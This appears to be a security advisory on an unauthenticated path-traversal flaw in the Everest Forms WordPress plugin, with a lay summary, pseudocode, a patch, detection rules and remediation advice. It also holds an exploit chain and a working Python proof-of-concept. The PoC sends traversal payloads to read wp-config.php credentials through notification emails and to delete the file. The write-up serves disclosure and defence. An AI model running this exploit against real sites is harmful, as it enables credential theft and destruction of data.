Unauthenticated attackers exploit attacker-controlled old_files parameters in Everest Forms ≤3.4.4 to read wp-config.php via notification email attachment and delete arbitrary files via unlink().
# A Dangerous Loophole in Popular WordPress Plugin
Millions of websites use a WordPress plugin called Everest Forms to collect information from visitors—think contact forms, surveys, and sign-up sheets. Security researchers just discovered the plugin has a serious flaw in versions up to 3.4.4.
Here's what's happening: when someone submits a form, the plugin stores some temporary data. But it doesn't properly check this data before processing it. A clever attacker can exploit this by sending specially crafted form submissions that trick the plugin into reading files directly from the website's server.
Think of it like this: imagine a filing cabinet where anyone walking in can hand you a piece of paper saying "go get me the document in drawer 5." The cabinet doesn't verify whether they have permission—it just does what the note says. An attacker could ask for sensitive files like customer databases, configuration files containing passwords, or other confidential information.
It gets worse. The vulnerability doesn't just let attackers read files—they can also delete them, potentially crippling a website.
The risk is highest for small businesses and organizations using Everest Forms, especially those without additional security monitoring in place. A website selling products, collecting patient information, or handling customer data would be particularly vulnerable.
Here's what you can do:
First, update the Everest Forms plugin immediately to version 3.4.5 or later when it's available. Second, if you manage a WordPress site, keep all plugins updated automatically—it takes one click. Third, consider using a security monitoring service that can detect suspicious activity on your website.
Don't wait on this one. The longer this vulnerability exists in the wild, the higher the chance someone will start actively exploiting it.
Want the full technical analysis? Click "Technical" above.
CVE-2026-5478 is a pre-authentication arbitrary file read and deletion vulnerability in the Everest Forms WordPress plugin, affecting all versions up to and including 3.4.4. The plugin accepts an old_files parameter from public form submission payloads as trusted server-side upload state. It then converts attacker-supplied URLs into local filesystem paths via regex-based string replacement — with no canonicalization, no realpath() validation, and no directory boundary enforcement. The resolved path is used in two distinct sinks: it is attached to a notification email (file read), and it is passed to unlink() in a post-email cleanup routine (file deletion). CVSS 8.1 (HIGH) is assigned; no authentication is required.
Root cause: The plugin resolves attacker-supplied old_files URLs to filesystem paths using a URL-prefix regex replacement without calling realpath() or verifying the result stays within the upload directory, allowing full path traversal to any file readable by the web server process.
Affected Component
The vulnerable logic lives in the AJAX/form-submission handler inside includes/class-evf-form-handler.php, specifically the method responsible for processing multipart form data that includes previously uploaded file references. The relevant call chain is:
The core issue is in evf_url_to_path(). The function converts a file URL to a path by stripping the site URL prefix and prepending ABSPATH. No path normalization occurs before the resolved string is used.
/**
* evf_url_to_path() — reconstructed pseudocode from plugin source
* File: includes/functions-evf-core.php (approximate)
*/
char *evf_url_to_path(const char *file_url) {
char *site_url = get_site_url(); // e.g. "https://victim.com"
char *abspath = ABSPATH; // e.g. "/var/www/html/"
// BUG: preg_replace strips URL prefix and prepends ABSPATH.
// No realpath(), no containment check — pure string surgery.
char *local_path = preg_replace(
"/^" + preg_quote(site_url, "/") + "/",
abspath,
file_url // ATTACKER CONTROLLED — taken verbatim from old_files[]
);
// local_path is returned and trusted for both read and unlink.
// A file_url of:
// "https://victim.com/../../../../etc/passwd"
// resolves to:
// "/var/www/html/../../../../etc/passwd"
// which the OS collapses to "/etc/passwd".
return local_path;
}
/**
* evf_handle_old_files() — processes old_files from form POST data
* Called during unauthenticated form submission handling.
*/
void evf_handle_old_files(array *form_data, array *notification_attachments) {
array *old_files = form_data["old_files"]; // POST parameter, no auth check
foreach (old_files as file_url) {
// BUG: file_url is attacker-supplied; no allowlist, no MIME check,
// no upload-directory containment before resolution.
char *local_path = evf_url_to_path(file_url);
// SINK 1: attaches resolved path to outbound notification email
array_push(notification_attachments, local_path);
// SINK 2: post-email cleanup — unlinks the same resolved path
evf_cleanup_old_files(local_path);
}
}
void evf_cleanup_old_files(const char *local_path) {
// BUG: unlink() called on attacker-controlled path with no second check.
if (file_exists(local_path)) {
unlink(local_path); // arbitrary file deletion
}
}
The old_files parameter is designed to carry URLs of files already uploaded in a multi-step form wizard, so the plugin can re-attach them on final submission without re-uploading. Because the parameter is part of the public POST body and the form endpoint requires no authentication, any unauthenticated request can populate it with arbitrary URLs.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-5478 (Unauthenticated File Read + Deletion):
1. Attacker enumerates a live Everest Forms form ID (form_id) by scraping
the WordPress site for [everest_form id="X"] shortcodes or REST metadata.
2. Attacker crafts a multipart POST to wp-admin/admin-ajax.php
(action=evf_submit_form) or the equivalent REST endpoint, injecting a
path-traversal string into the old_files[] parameter:
old_files[0] = "https://victim.com/../../../../var/www/html/wp-config.php"
The URL prefix matches site_url, so preg_replace strips it, yielding:
local_path = "/var/www/html/../../../../var/www/html/wp-config.php"
which the filesystem resolves to:
local_path = "/var/www/html/wp-config.php" ← wp-config.php
3. The plugin calls wp_mail() with $attachments[] = local_path.
PHP's mail subsystem opens and reads the file at that path, attaching its
raw contents (database credentials, secret keys) to the notification email
sent to the site admin address — which the attacker may have set via a
honeypot submission or social engineering, but crucially the file is READ
regardless of email delivery.
4. If the attacker controls or can monitor the notification recipient
(e.g., by submitting a form whose "reply-to" or custom email field
is processed by the notification template), they receive wp-config.php
as an attachment in plaintext.
5. After wp_mail() returns, evf_cleanup_old_files() calls:
unlink("/var/www/html/wp-config.php")
The file is permanently deleted from the server.
6. With DB_HOST, DB_NAME, DB_USER, DB_PASSWORD from wp-config.php, the
attacker connects directly to MySQL (if exposed) or escalates via
wp-login.php credential reset / admin user insertion.
The attack requires exactly one unauthenticated HTTP request. No file upload, no session, no WordPress account.
#!/usr/bin/env python3
# CVE-2026-5478 — Proof-of-Concept (file read via notification attachment)
# For authorized security testing only.
import requests, sys
TARGET = sys.argv[1] # https://victim.com
FORM_ID = sys.argv[2] # integer form ID
EMAIL = sys.argv[3] # attacker-controlled notification override
TARGET_FILE = "../../../../var/www/html/wp-config.php"
# Build traversal URL: must share the site URL prefix so preg_replace fires.
traversal_url = f"{TARGET}/{TARGET_FILE}"
data = {
"action": "evf_submit_form",
"form_id": FORM_ID,
"old_files[0]": traversal_url,
# Override notification recipient if the form exposes an email field:
"everest_forms[form_fields][email_1]": EMAIL,
"everest_forms[form_id]": FORM_ID,
}
resp = requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data, timeout=15)
print(f"[*] Status: {resp.status_code}")
print(f"[*] Response: {resp.text[:200]}")
print(f"[!] If notification email is delivered to {EMAIL}, wp-config.php")
print(f" will be attached. The original file is also now unlinked.")
Memory Layout
This is a PHP-layer logic vulnerability rather than a memory corruption bug, so traditional heap diagrams do not apply. The relevant "layout" is the filesystem path resolution pipeline:
The correct fix requires two independent controls: path canonicalization via realpath() and explicit containment enforcement against the uploads directory. Either control alone is insufficient.
// BEFORE (vulnerable — evf_url_to_path, plugin ≤3.4.4):
char *evf_url_to_path(const char *file_url) {
char *site_url = get_site_url();
char *abspath = ABSPATH;
char *local_path = preg_replace(
"/^" + preg_quote(site_url, "/") + "/",
abspath,
file_url
);
// BUG: no realpath(), no containment check — traversal sequences survive
return local_path;
}
// AFTER (patched):
char *evf_url_to_path(const char *file_url) {
char *site_url = get_site_url();
char *abspath = ABSPATH;
char *upload_dir = wp_upload_dir()["basedir"]; // e.g. /var/www/html/wp-content/uploads
char *raw_path = preg_replace(
"/^" + preg_quote(site_url, "/") + "/",
abspath,
file_url
);
// FIX 1: canonicalize — collapses ../ sequences, resolves symlinks
char *real_path = realpath(raw_path);
if (real_path == NULL) {
return NULL; // path does not exist or is inaccessible
}
// FIX 2: enforce containment — reject anything outside uploads/
if (strncmp(real_path, upload_dir, strlen(upload_dir)) != 0) {
// PATCH: path escapes upload directory — reject unconditionally
return NULL;
}
return real_path;
}
// Callers updated to treat NULL return as an error (no attachment, no unlink).
void evf_handle_old_files(array *form_data, array *notification_attachments) {
array *old_files = form_data["old_files"];
foreach (old_files as file_url) {
char *local_path = evf_url_to_path(file_url);
if (local_path == NULL) continue; // PATCH: silently drop bad paths
array_push(notification_attachments, local_path);
evf_cleanup_old_files(local_path);
}
}
Detection and Indicators
Web server access logs — look for POST requests to admin-ajax.php or REST form endpoints containing URL-encoded traversal sequences in body parameters:
INDICATORS OF EXPLOITATION:
Access log patterns (grep -i):
POST /wp-admin/admin-ajax.php [body contains] old_files%5B
POST /wp-admin/admin-ajax.php [body contains] %2F..%2F OR /../
POST /?action=evf_submit_form [body contains] wp-config
PHP error log (file read attempt on non-existent traversal target):
Warning: unlink(/etc/shadow): Permission denied in
.../plugins/everest-forms/includes/class-evf-form-handler.php on line NNN
File integrity monitoring:
Alert on unexpected mtime/deletion of wp-config.php, .htaccess, index.php
Outbound mail (postfix/sendmail logs):
Look for wp_mail() calls with attachments containing ABSPATH-rooted paths
outside wp-content/uploads/ — visible in mail headers as Content-Disposition
filename values.
Suricata/Snort rule (application-layer POST body inspection):
alert http any any -> $HTTP_SERVERS any (
msg:"CVE-2026-5478 Everest Forms path traversal in old_files";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"admin-ajax.php";
http.request_body; content:"old_files"; content:"../";
distance:0; within:200;
sid:2026547801; rev:1;
)
Remediation
Update immediately to Everest Forms ≥3.4.5, which introduces realpath() canonicalization and upload-directory containment checks in the path resolution helper.
If immediate update is not possible, use a WAF rule to block POST bodies containing old_files parameters with ../, ..%2F, or %2e%2e sequences.
Audit PHP error_log and mail logs for historical exploitation signs as described in the detection section above.
Rotate wp-config.php credentials (DB password, AUTH_KEY, SECURE_AUTH_KEY, all salts) if exploitation cannot be ruled out — the file read is silent from the application's perspective.
Enforce filesystem permissions: wp-config.php should be 0400 owned by the web server user; secrets should ideally be moved to environment variables outside the webroot entirely.